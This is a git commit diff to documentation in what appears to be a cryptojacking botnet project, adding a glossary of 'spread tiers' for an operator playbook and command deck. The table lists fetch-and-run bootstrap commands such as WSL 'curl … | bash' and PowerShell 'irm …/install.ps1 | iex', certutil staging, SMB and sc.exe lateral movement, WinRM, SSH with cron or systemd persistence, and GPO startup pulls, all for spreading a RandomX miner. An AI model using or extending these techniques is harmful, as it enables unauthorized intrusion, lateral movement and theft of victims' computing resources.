Expand LOTL vector glossary, examples, and mermaid architecture docs

docs/SPREAD_TECHNIQUES.md

@@ -1,9 +1,34 @@
 # Web-Mediated Spread Techniques
 
-Canonical copy (served at `/docs/SPREAD_TECHNIQUES.md` on a running command deck):
+Canonical operator playbook (served at `/docs/SPREAD_TECHNIQUES.html` on a running command deck):
 
-**[`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)**
+**[`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)**
 
-Tabbed operator playbook (HTML): [`server/web/public/docs/SPREAD_TECHNIQUES.html`](../server/web/public/docs/SPREAD_TECHNIQUES.html)
+Markdown matrix (research notes): [`server/web/public/docs/SPREAD_TECHNIQUES.md`](../server/web/public/docs/SPREAD_TECHNIQUES.md)
 
-Edit the public docs files above — this stub avoids drifting duplicates in `docs/`.
+Edit the **public docs** files above — this stub avoids drifting duplicates in `docs/`.
+
+## Master test doc + full glossary
+
+Every LOTL/spread/fleet recon vector (mining tiers, deploy lanes, recon fields, C2 telemetry) is defined with examples in:
+
+**[`tests/README.md`](../tests/README.md)** — sections [LOTL architecture (triple onion)](../tests/README.md#lotl-architecture-triple-onion) and [LOTL vector glossary](../tests/README.md#lotl-vector-glossary).
+
+Root README includes a concise architecture pointer: [`README.md` § LOTL triple onion](../README.md#lotl-triple-onion-architecture).
+
+## Mini glossary (spread tiers)
+
+| Tier | One-line | Example |
+|------|----------|---------|
+| `vuln_recon` | Read-only KEV/CVE probe before spread | Triple-onion recon or `full_sys_check` |
+| `docker` | Container-isolated RandomX | `com.docker.service` → `docker_load` join lane |
+| `wsl` | WSL curl\|bash when Windows blocked | `wsl -e bash -c "curl … \| bash"` |
+| `powershell` | Hidden PS / remoting bootstrap | `irm …/install.ps1 \| iex` |
+| `dotnet` | `dotnet tool run` — no lone exe | `miner_execution=dotnet` |
+| `bits_curl` | BITS/curl staging + certutil decode | Crucible `stage_fetch` JSON manifest |
+| `smb` | SMB UNC + `sc.exe` lateral | `spread_smb_unc` with `\\host\share\worker.exe` |
+| `winrm` | PS remoting on 5985/5986 | Spread template `{"template":"winrm"}` |
+| `linux` | SSH lateral + systemd/cron LOTL | `{"template":"linux-lotl","lotl_mode":"both"}` |
+| `gpo` | AD startup script pull | `{"template":"gpo"}` or `{"template":"intune"}` |
+
+TypeScript source of truth for tier docs: [`server/web/src/help/lotlOnionTiers.ts`](../server/web/src/help/lotlOnionTiers.ts).